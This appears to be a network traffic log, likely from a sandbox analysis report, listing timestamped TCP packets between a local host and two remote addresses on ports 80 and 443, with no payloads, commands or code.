Dec 20, 2024 09:12:30.754736900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.754905939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.755507946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.755594969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.755642891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.755845070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.755892038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.756405115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.756450891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.757286072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.757312059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.757339954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.757355928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.757739067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.757776976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.758102894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.758143902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.758349895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.758390903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.758963108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.759004116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.759342909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.759378910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.759865999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.759882927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.759906054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.759921074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.760656118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.760694027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.760739088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.760864973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.761503935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.761542082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.761589050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.761631966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.762332916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.762368917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.762437105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.762476921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.763192892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.763230085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.763326883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.763369083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.764044046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.764091969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.764144897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.764182091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.764906883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.764947891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.764995098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.765033007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.765789986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.765830994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.765933990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.765973091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.766613960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.766654968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.766719103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.766757965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.767443895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.767474890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.767565012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.767601967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.768336058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.768374920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.768426895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.768486977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.769156933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.769195080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.769243002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.769283056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.770011902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.770046949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.770148039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.770184994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.770844936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.770884037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.770968914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.771003962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.771739960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.771776915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.771855116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.771894932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.772540092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.772591114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.772676945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.772717953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.773389101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.773431063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.773497105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.773536921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.774251938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.774287939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.774343014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.774379015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.775094032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.775139093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.775302887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.775337934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.775968075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.776005983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.776082039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.776119947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.776808023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.776849985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.776923895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.776962042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.777653933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.777686119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.777771950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.777810097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.778544903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.778584957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.778824091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.778862000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.779443979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.779490948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.779582024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.779618979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.780298948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.780338049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.780385017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.780421972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.781052113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.781090975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.781260014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.781295061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.781927109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.781964064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.782073975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.782111883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.782792091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.782830000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.782969952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.783009052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.783581972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.783617973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.783694029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.783731937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.784445047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.784481049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.784521103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.784558058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.785295963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.785331011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.785356998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.785389900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.786194086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.786231041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.786325932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.786369085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.787156105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.787194014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.787200928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.787235975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.787904978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.787942886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.787987947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.788023949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.788682938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.788722038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.788822889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.788860083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.789969921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.790007114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.790139914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.790178061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.790405989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.790441036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.790486097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.790524006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.791225910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.791263103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.791310072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.791353941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.792150021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.792186022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.792263031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.792303085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.792932034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.792969942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.793059111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.793098927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.793771982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.793811083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.793855906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.793895960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.794646025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.794686079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.794774055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.794811964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.795569897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.795598030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.795609951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.795639992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.796365976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.796408892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.796583891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.796684980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.797221899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.797306061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.797312021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.797359943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.798055887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.798105001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.798119068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.798158884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.932986975 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:30.933018923 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:30.933139086 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:30.933464050 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:30.933481932 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:30.946789980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.946876049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.946880102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.946930885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.947129011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.947180986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.947331905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.947381973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.947988987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.948025942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.948040009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.948072910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.948801994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.948860884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.948929071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.948977947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.949645042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.949693918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.949779034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.949820042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.950500965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.950550079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.950591087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.950639009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.951380968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.951431036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.951483965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.951533079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.952244043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.952296019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.952362061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.952418089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.953047991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.953094006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.953197956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.953248024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.953882933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.953928947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.953942060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.953985929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.954730988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.954783916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.954823971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.954868078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.955569983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.955614090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.955679893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.955725908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.956418991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.956464052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.956562042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.956605911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.957269907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.957350969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.957393885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.957438946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.958093882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.958137989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.958184958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.958230972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.958983898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.959028006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.959068060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.959110022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.959829092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.959873915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.959924936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.959969044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.960659981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.960706949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.960752964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.960798025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.961559057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.961604118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.961702108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.961745977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.962374926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.962419987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.962522030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.962568998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.963208914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.963253975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.963299990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.963340044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.964092016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.964133978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.964199066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.964238882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.964910030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.964955091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.964997053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.965040922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.965734005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.965778112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.965837955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.965882063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.966589928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.966634989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.966707945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.966751099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.967448950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.967513084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.967550993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.967592955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.968281984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.968324900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.968400002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.968446970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.969156027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.969201088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.969249964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.969295025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.970060110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.970105886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.970124006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.970166922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.970863104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.970906973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.970952034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.970995903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.971687078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.971728086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.971767902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.971812010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.972554922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.972599030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.972642899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.972687960 CET	49808	80	192.168.2.4	31.41.244.11
